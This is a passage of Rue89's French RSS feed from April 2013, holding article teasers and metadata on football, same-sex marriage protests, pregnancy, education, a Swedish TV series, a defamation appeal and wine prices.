2013 08:57:23 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/itineraire-dun-comissaire-ripou-sais-dire-non-241192#commentaires</comments><guid isPermaLink="false">241192 at http://www.rue89.com</guid><dc:creator>Camille Polloni</dc:creator></item><item><title>Après les tweets, la lettre de Barton : « Je te jure, José, si j’avais pas pris 12 matches de suspension... »</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a57daf5/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A40Capres0Eles0Etweets0Elettre0Ebarton0Ejure0Ejose0Esi0Ejavais0Epris0E120Ematches0Esuspension0E241178/story01.htm</link><description>&lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;span style="font-size: 13px;"&gt;Le milieu de terrain de l’OM Joey Barton, &lt;a href="http://www.lequipe.fr/Football/Actualites/Barton-convoque-le-15-avril/361470" target="_blank"&gt;a été convoqué&lt;/a&gt; par le Conseil national de l’éthique (CNE) pour avoir &lt;/span&gt;&lt;a href="http://www.lemonde.fr/sport/article/2013/04/04/ligue-1-les-provocations-de-joey-barton-creent-un-malaise-a-l-om-et-au-psg_3153375_3242.html" style="font-size: 13px;" target="_blank"&gt;insulté&lt;/a&gt;, &lt;span style="font-size: 13px;"&gt;sur Twitter, Thiago Silva, le défenseur brésilien du PSG, de « travesti en surpoids ». Il pourrait être sanctionné, lui qui sur le réseau social s’en était déjà pris au journaliste&lt;/span&gt;&lt;a href="http://www.sofoot.com/barton-retaille-pierre-menes-168085.html" style="font-size: 13px;" target="_blank"&gt; Pierre Menès&lt;/a&gt;&lt;span style="font-size: 13px;"&gt; ou encore au petit prodige brésilien &lt;/span&gt;&lt;a href="http://www.20minutes.fr/sport/football/1096291-critique-joey-barton-neymar-repond-je-sais-cest" style="font-size: 13px;" target="_blank"&gt;Neymar&lt;/a&gt;&lt;span style="font-size: 13px;"&gt;. &lt;/span&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;span style="font-size: 13px;"&gt;On a imaginé la lettre qu’il pourrait écrire à son directeur sportif, José Anigo, pour lui faire part de son désarroi.&lt;/span&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Cher José, &lt;/p&gt; &lt;p&gt;Tout à l’heure, tu m’as demandé de lever le pied sur Twitter. D’arrêter de m’en...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a57daf5/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4215f9/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A20Cbeckham0Etitulaire0Esuicide0Egenie0Etactique0Esuivez0Epsg0Ebarcelone0E2410A88/story01.htm'&gt;Une fin insensée, Zlatan et Messi marquent : PSG-Barcelone (2-2)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4b039e/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A30Cmessi0Eblesse0Eretour0Ethiago0Emotta0Epourquoi0Epsg0Epeut0Eesperer0Equalifier0Ea0Ebarcelone0E241134/story01.htm'&gt;Messi blessé et le retour de Thiago Motta : pourquoi le PSG peut espérer se qualifier à Barcelone&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff8/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A50Cfoot0Ea0Esunderland0Elarrivee0Elentraineur0Efasciste0Edi0Ecanio0Escandalise0E241165/story01.htm'&gt;Foot : à Sunderland, l’arrivée du coach fasciste Di Canio scandalise&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Apr%C3%A8s+les+tweets%2C+la+lettre+de+Barton%C2%A0%3A+%C2%AB%C2%A0Je+te+jure%2C+Jos%C3%A9%2C+si+j%E2%80%99avais+pas+pris+12%C2%A0matches+de+suspension...%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F04%2Fapres-les-tweets-lettre-barton-jure-jose-si-javais-pris-12-matches-suspension-241178" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Apr%C3%A8s+les+tweets%2C+la+lettre+de+Barton%C2%A0%3A+%C2%AB%C2%A0Je+te+jure%2C+Jos%C3%A9%2C+si+j%E2%80%99avais+pas+pris+12%C2%A0matches+de+suspension...%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F04%2Fapres-les-tweets-lettre-barton-jure-jose-si-javais-pris-12-matches-suspension-241178" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676786359/u/0/f/608948/c/33822/s/2a57daf5/kg/342/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676786359/u/0/f/608948/c/33822/s/2a57daf5/kg/342/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676786359/u/0/f/608948/c/33822/s/2a57daf5/kg/342/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a57daf5/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40C0A0A0A0Ipar741330A30Bjpg/000_par7413303.jpg" length="3130096" type="image/jpeg" /><category domain="http://www.rue89.com/rue89-sport/foot">foot</category><category domain="http://www.rue89.com/ligue-1">Ligue 1</category><pubDate>Thu, 04 Apr 2013 18:06:28 GMT</pubDate><comments>http://www.rue89.com/rue89-sport/2013/04/04/apres-les-tweets-lettre-barton-jure-jose-si-javais-pris-12-matches-suspension-241178#commentaires</comments><guid isPermaLink="false">241178 at http://www.rue89.com</guid><dc:creator>Ramses Kefi</dc:creator></item><item><title>« Camping pour tous » : refoulés du Luxembourg pour cause de look BCBG !</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a57b0ab/l/0L0Srue890N0C20A130C0A40C0A40Ccamping0Etous0Erefoules0Eluxembourg0Ecause0Elook0Ebcbg0E241173/story01.htm</link><description>&lt;img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" onload="lzld(this)" data-src="http://www.rue89.com/sites/news/files/styles/article_homepage_image/public/article/thumbnail_banner/2013/04/images.png" alt="« Camping pour tous » : refoulés du Luxembourg pour cause de look BCBG !" title="" /&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a57b0ab/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4c37e3/l/0L0Srue890N0C20A130C0A40C0A30Ccumul0Emandats0Ereforme0Ereportee0Ea0E20A170Elimiter0Ecasse0E241114/story01.htm'&gt;Cumul des mandats : la réforme reportée à 2017 pour limiter la casse&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=%C2%AB%C2%A0Camping+pour+tous%C2%A0%C2%BB%C2%A0%3A+refoul%C3%A9s+du+Luxembourg+pour+cause+de+look+BCBG%C2%A0%21&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Fcamping-tous-refoules-luxembourg-cause-look-bcbg-241173" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=%C2%AB%C2%A0Camping+pour+tous%C2%A0%C2%BB%C2%A0%3A+refoul%C3%A9s+du+Luxembourg+pour+cause+de+look+BCBG%C2%A0%21&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Fcamping-tous-refoules-luxembourg-cause-look-bcbg-241173" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676180899/u/0/f/608948/c/33822/s/2a57b0ab/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676180899/u/0/f/608948/c/33822/s/2a57b0ab/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676180899/u/0/f/608948/c/33822/s/2a57b0ab/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a57b0ab/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cimages0Bpng/images.png" length="291926" type="image/png" /><category domain="http://www.rue89.com/senat">sénat</category><category domain="http://www.rue89.com/mariage-homosexuel">Mariage homosexuel</category><category domain="http://www.rue89.com/catholiques">catholiques</category><pubDate>Thu, 04 Apr 2013 17:21:24 GMT</pubDate><comments>http://www.rue89.com/2013/04/04/camping-tous-refoules-luxembourg-cause-look-bcbg-241173#commentaires</comments><guid isPermaLink="false">241173 at http://www.rue89.com</guid><dc:creator>Daisy Lorenzi</dc:creator></item><item><title>« Enfin, dans ton état... » : j’ai détesté être enceinte</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a57ab38/l/0L0Srue890N0C20A130C0A40C0A40Cenfin0Eetat0Ejai0Edeteste0Eetre0Eenceinte0E241176/story01.htm</link><description>&lt;p&gt;J’ai eu la veine d’être plutôt épargnée : j’ai été en forme tout au long de ma grossesse, je n’ai pas gardé de séquelles physiques inesthétiques (du type vergetures ou ventre qui pendouille) et les dix-sept kilos pris (oui, quand même) sont tous repartis en quatre mois.&lt;/p&gt; &lt;p&gt;Ce que je n’avais pas vu venir, c’est que mon corps n’allait plus m’appartenir.&lt;/p&gt; &lt;p&gt;Quand on aborde le corps dans la grossesse, on évoque souvent les désagréments esthétiques, les douleurs, la fatigue, la baisse de libido, &lt;a href="http://boutiquelesfleurs.typepad.com/.a/6a00d8341c70ab53ef0120a92dbb12970b-800wi" target="_blank"&gt;l’effet « culbuto »&lt;/a&gt;... Ce sont des réalités (ou pas, selon) et je m’y...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a57ab38/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342b0/l/0L0Srue890N0C20A130C0A40C0A40Ca0Ecet0Einstant0Etout0Emonde0Epense0Eclient0Esest0Etranche0Egorge0E239436/story01.htm'&gt;« Tout le monde pense que mon client s’est tranché la gorge »&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=%C2%AB%C2%A0Enfin%2C+dans+ton+%C3%A9tat...%C2%A0%C2%BB%C2%A0%3A+j%E2%80%99ai+d%C3%A9test%C3%A9+%C3%AAtre+enceinte&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Fenfin-etat-jai-deteste-etre-enceinte-241176" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=%C2%AB%C2%A0Enfin%2C+dans+ton+%C3%A9tat...%C2%A0%C2%BB%C2%A0%3A+j%E2%80%99ai+d%C3%A9test%C3%A9+%C3%AAtre+enceinte&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Fenfin-etat-jai-deteste-etre-enceinte-241176" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676180300/u/0/f/608948/c/33822/s/2a57ab38/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676180300/u/0/f/608948/c/33822/s/2a57ab38/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676180300/u/0/f/608948/c/33822/s/2a57ab38/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a57ab38/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cgrossesse0Bjpg/grossesse.jpg" length="51649" type="image/jpeg" /><category domain="http://www.rue89.com/rue69">Rue69</category><category domain="http://www.rue89.com/maternite">maternité</category><category domain="http://www.rue89.com/femmes">femmes</category><category domain="http://www.rue89.com/allaitement">allaitement</category><category domain="http://www.rue89.com/grossesse">grossesse</category><category domain="http://www.rue89.com/temoignage">Témoignage</category><category domain="http://www.rue89.com/parents">parents</category><category domain="http://www.rue89.com/enfants">enfants</category><pubDate>Thu, 04 Apr 2013 16:53:03 GMT</pubDate><comments>http://www.rue89.com/2013/04/04/enfin-etat-jai-deteste-etre-enceinte-241176#commentaires</comments><guid isPermaLink="false">241176 at http://www.rue89.com</guid><dc:creator>Christelle P.R.</dc:creator></item><item><title>Un « lycée musulman modèle », ça ressemble à quoi ?</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a56f461/l/0Lblogs0Brue890N0Creligion0C20A130C0A40C0A40Cun0Elycee0Emusulman0Emodele0Eca0Eressemble0Equoi0E230A0A40A/story01.htm</link><description>100% de réussite au bac, 50% de boursiers : le meilleur lycée de France serait le lycée musulman Averroès, dans le Nord, selon un palmarès 2013 des lycées.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56f461/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a491bc1/l/0L0Srue890N0C20A130C0A40C0A30Cmalheur0Efrancais0Ecest0Equelque0Echose0Equon0Eemporte0Esoi0E241113/story01.htm'&gt;« Le malheur français, c’est quelque chose qu’on emporte avec soi »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a55b922/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A40Cboss0Edacadomia0Efaut0Echacun0Eait0Eenvie0Efaire0Ejob0Epatron0E2410A93/story01.htm'&gt;Le boss d’Acadomia : « Il faut que chacun ait envie de faire le job du patron »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6646d2/l/0L0Srue890N0C20A130C0A40C0A60Cmaire0Ecommuniste0Evierzon0Eachete0Eeglise0Eva0Et0Efaire0E24120A9/story01.htm'&gt;Le maire communiste de Vierzon achète une église. Pour faire quoi ?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Un+%C2%AB%C2%A0lyc%C3%A9e+musulman+mod%C3%A8le%C2%A0%C2%BB%2C+%C3%A7a+ressemble+%C3%A0+quoi%C2%A0%3F&amp;link=http%3A%2F%2Fblogs.rue89.com%2Freligion%2F2013%2F04%2F04%2Fun-lycee-musulman-modele-ca-ressemble-quoi-230040" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Un+%C2%AB%C2%A0lyc%C3%A9e+musulman+mod%C3%A8le%C2%A0%C2%BB%2C+%C3%A7a+ressemble+%C3%A0+quoi%C2%A0%3F&amp;link=http%3A%2F%2Fblogs.rue89.com%2Freligion%2F2013%2F04%2F04%2Fun-lycee-musulman-modele-ca-ressemble-quoi-230040" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676784590/u/0/f/608948/c/33822/s/2a56f461/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676784590/u/0/f/608948/c/33822/s/2a56f461/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676784590/u/0/f/608948/c/33822/s/2a56f461/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a56f461/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Creprise0Iexternes0Cthumbnail0Isquare0C20A130C0A40Cp10A0A0A4890I0A0Bjpg/p1000489_0.jpg" length="2281515" type="image/jpeg" /><category domain="http://www.rue89.com/islam">Islam</category><category domain="http://www.rue89.com/nord-pas-de-calais">nord-pas-de-calais</category><category domain="http://www.rue89.com/education">éducation</category><category domain="http://www.rue89.com/lycees">lycées</category><pubDate>Thu, 04 Apr 2013 16:33:10 GMT</pubDate><comments>http://blogs.rue89.com/religion/2013/04/04/un-lycee-musulman-modele-ca-ressemble-quoi-230040#commentaires</comments><guid isPermaLink="false">241188 at http://www.rue89.com</guid><dc:creator>Chloé Andries</dc:creator></item><item><title>« Real Humans », la série suédoise où les robots veulent juste être peinards</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a56f468/l/0L0Srue890N0Ccontent0Creal0Ehumans0Eserie0Esuedoise0Eles0Erobots0Eveulent0Ejuste0Eetre0Epeinards/story01.htm</link><description>&lt;p&gt;Arte diffuse à partir de ce jeudi soir &amp;quot;Real Humans&amp;quot; (&amp;quot;Äkta Människor&amp;quot; en VO), série suédoise où les humains cohabitent avec des androïdes. Ces &amp;quot;hubots&amp;quot; sont affectés aux tâches déplaisantes : prendre soin des personnes âgées, faire le ménage... Chez les humains, certains sont anti-hubots ; chez les hubots, certains sont &amp;quot;débridés&amp;quot; et libérés de la mainmise des humains.&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56f468/mf.gif' border='0'/&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=%C2%AB%C2%A0Real+Humans%C2%A0%C2%BB%2C+la+s%C3%A9rie+su%C3%A9doise+o%C3%B9+les+robots+veulent+juste+%C3%AAtre+peinards&amp;link=http%3A%2F%2Fwww.rue89.com%2Fcontent%2Freal-humans-serie-suedoise-les-robots-veulent-juste-etre-peinards" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=%C2%AB%C2%A0Real+Humans%C2%A0%C2%BB%2C+la+s%C3%A9rie+su%C3%A9doise+o%C3%B9+les+robots+veulent+juste+%C3%AAtre+peinards&amp;link=http%3A%2F%2Fwww.rue89.com%2Fcontent%2Freal-humans-serie-suedoise-les-robots-veulent-juste-etre-peinards" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676784589/u/0/f/608948/c/33822/s/2a56f468/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676784589/u/0/f/608948/c/33822/s/2a56f468/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676784589/u/0/f/608948/c/33822/s/2a56f468/a2t.img" border="0"/&gt;</description><pubDate>Thu, 04 Apr 2013 16:22:50 GMT</pubDate><comments>http://www.rue89.com/content/real-humans-serie-suedoise-les-robots-veulent-juste-etre-peinards#commentaires</comments><guid isPermaLink="false">241186 at http://www.rue89.com</guid><dc:creator>Lucile Sourdès</dc:creator></item><item><title>Procès : Rue89 relaxé en appel face à un ancien cadre de l’UMP</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a56c999/l/0L0Srue890N0C20A130C0A40C0A40Cproces0Erue890Erelaxe0Eappel0Eface0Ea0Eancien0Ecadre0Elump0E241180A/story01.htm</link><description>&lt;p&gt;La cour d’appel de Paris a relaxé, ce jeudi, Pierre Haski, directeur de la publication de Rue89 : c’est à tort qu’il avait été condamné en première instance en diffamation par la XVIIe chambre correctionnelle.&lt;/p&gt; &lt;p&gt;L’affaire portait sur &lt;a href="http://www.rue89.com/2011/01/18/elections-a-lump-comment-faire-voter-des-sans-papiers-181854"&gt;un article&lt;/a&gt; consacré à des pratiques scandaleuses dans une association d’aide aux sans-papiers. Nous avons découvert qu’un cadre de l’UMP avait demandé à des sans-papiers de s’inscrire à son parti et de voter – pour lui – lors d’une élection interne. Et ce, contre la promesse de l’accélération des démarches administratives. C’est...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56c999/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342b0/l/0L0Srue890N0C20A130C0A40C0A40Ca0Ecet0Einstant0Etout0Emonde0Epense0Eclient0Esest0Etranche0Egorge0E239436/story01.htm'&gt;« Tout le monde pense que mon client s’est tranché la gorge »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a549cae/l/0Lblogs0Brue890N0Cnode0C2290A680C20A130C0A40C0A40Cdes0Eplaces0Egagner0Epour0Eles0Etrousses0Ede0Esecours0Edu0Etheatre0Edu0Erond0Epoint0E230A0A20A/story01.htm'&gt;Des places à gagner pour les « trousses de secours » du Théâtre du Rond-Point&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a54a488/l/0L0Srue890N0Crue890Eculture0C20A130C0A40C0A40Cfrance0Ea0Edeux0Ewinners0Ebooba0Enouveau0Etapie0Elancien0E2410A81/story01.htm'&gt;En France, on a deux winners : Booba le nouveau et Tapie l’ancien&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/l/0L0Srue890N0C20A130C0A40C0A50Cpolitiques0Eflics0Evoyous0Emarseille0Epassee0Ecrible0Etrois0Ebouquins0E2410A84/story01.htm'&gt;Politiques, flics, voyous : Marseille passée au crible de trois bouquins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff7/l/0L0Srue890N0C20A130C0A40C0A50Citineraire0Edun0Ecomissaire0Eripou0Esais0Edire0Enon0E241192/story01.htm'&gt;Itinéraire d’un commissaire ripou : « Je ne sais pas dire non »&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Proc%C3%A8s%C2%A0%3A+Rue89%C2%A0relax%C3%A9+en+appel+face+%C3%A0+un+ancien+cadre+de+l%E2%80%99UMP&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Fproces-rue89-relaxe-appel-face-a-ancien-cadre-lump-241180" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Proc%C3%A8s%C2%A0%3A+Rue89%C2%A0relax%C3%A9+en+appel+face+%C3%A0+un+ancien+cadre+de+l%E2%80%99UMP&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F04%2Fproces-rue89-relaxe-appel-face-a-ancien-cadre-lump-241180" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676179133/u/0/f/608948/c/33822/s/2a56c999/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676179133/u/0/f/608948/c/33822/s/2a56c999/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676179133/u/0/f/608948/c/33822/s/2a56c999/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a56c999/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cgenerique0I40A0A0I30A0A0Iok0I0A0Bpng/generique_400_300_ok_0.png" length="32222" type="image/png" /><category domain="http://www.rue89.com/ump">ump</category><category domain="http://www.rue89.com/diffamation">diffamation</category><category domain="http://www.rue89.com/justice">Justice</category><category domain="http://www.rue89.com/proces">Procès</category><category domain="http://www.rue89.com/grand-entretien/rue89">Rue89</category><category domain="http://www.rue89.com/medias">médias</category><pubDate>Thu, 04 Apr 2013 15:50:29 GMT</pubDate><comments>http://www.rue89.com/2013/04/04/proces-rue89-relaxe-appel-face-a-ancien-cadre-lump-241180#commentaires</comments><guid isPermaLink="false">241180 at http://www.rue89.com</guid><dc:creator>Pascal Riché</dc:creator></item><item><title>Le prix du vin : 6 euros à l’Elysée, 39 000 à l’hypermarché</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a56edd2/l/0Lblogs0Brue890N0Cno0Ewine0Eis0Einnocent0C20A130C0A40C0A40Cle0Eprix0Edu0Evin0E60Eeuros0Elelysee0E390E0A0A0A0Eeuros0Elhypermarche0E230A0A23/story01.htm</link><description>Le prix du vin varie de presque rien à presque tout, suivant de nombreux critères : appellation, prestige, millésime, rareté, qualité, critique, marketing...&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56edd2/mf.gif' border='0'/&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Le+prix+du+vin%C2%A0%3A+6%C2%A0euros+%C3%A0+l%E2%80%99Elys%C3%A9e%2C+39%C2%A0000%C2%A0%C3%A0+l%E2%80%99hypermarch%C3%A9&amp;link=http%3A%2F%2Fblogs.rue89.com%2Fno-wine-is-innocent%2F2013%2F04%2F04%2Fle-prix-du-vin-6-euros-lelysee-39-000-euros-lhypermarche-230023" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Le+prix+du+vin%C2%A0%3A+6%C2%A0euros+%C3%A0+l%E2%80%99Elys%C3%A9e%2C+39%C2%A0000%C2%A0%C3%A0+l%E2%80%99hypermarch%C3%A9&amp;link=http%3A%2F%2Fblogs.rue89.com%2Fno-wine-is-innocent%2F2013%2F04%2F04%2Fle-prix-du-vin-6-euros-lelysee-39-000-euros-lhypermarche-230023" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676784104/u/0/f/608948/c/33822/s/2a56edd2/a2.htm"&gt;&lt;img 